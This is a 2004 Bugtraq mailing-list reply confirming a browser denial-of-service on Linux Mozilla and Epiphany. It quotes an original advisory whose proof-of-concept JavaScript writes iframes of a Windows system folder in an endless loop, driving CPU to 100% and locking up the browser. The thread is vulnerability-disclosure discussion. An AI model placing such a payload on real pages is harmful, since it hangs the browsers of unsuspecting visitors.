Re: IE, Firefox, Opera DoS
From: Dan Pixley (danpixley_at_cox.net)
Date: 08/23/04
- Previous message: Rohit Dube: "RE: Third party cookie handling in Opera can lead to potential compromises in Servers relying on redirection"
- In reply to: exploits_at_su1d.net: "IE, Firefox, Opera DoS"
- Next in thread: GulfTech Security: "RE: IE, Firefox, Opera DoS"
- Reply: GulfTech Security: "RE: IE, Firefox, Opera DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: exploits@su1d.net, bugtraq@securityfocus.com Date: Mon, 23 Aug 2004 13:09:38 +0000
Tested this in Mozilla 1.7.2 and Epiphany 1.2.6 in Linux (kernel 2.6.8,
Gentoo, Gnome 2.6.2).
Each browser comes up with a warning about running the script. The user
can chose to run it or not. Either way, a dialog box reloads over and
over until the main window is forced closed with xkill.
Dan Pixley
On Sat, 2004-08-21 at 20:41, exploits@su1d.net wrote:
> Description
> ========
>
> Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% cpu
> Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives the error "The address type is unknown or unsupported" over and over
>
> POC
> ===
> URL : http://www.su1d.net/iframe2.html
>
> <scr1pt language="JavaScript">
> while(true)
> {
> document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
> }
> </scr1pt>
> Discovered by MeFakon from the su1d exploit development team
>
- Previous message: Rohit Dube: "RE: Third party cookie handling in Opera can lead to potential compromises in Servers relying on redirection"
- In reply to: exploits_at_su1d.net: "IE, Firefox, Opera DoS"
- Next in thread: GulfTech Security: "RE: IE, Firefox, Opera DoS"
- Reply: GulfTech Security: "RE: IE, Firefox, Opera DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
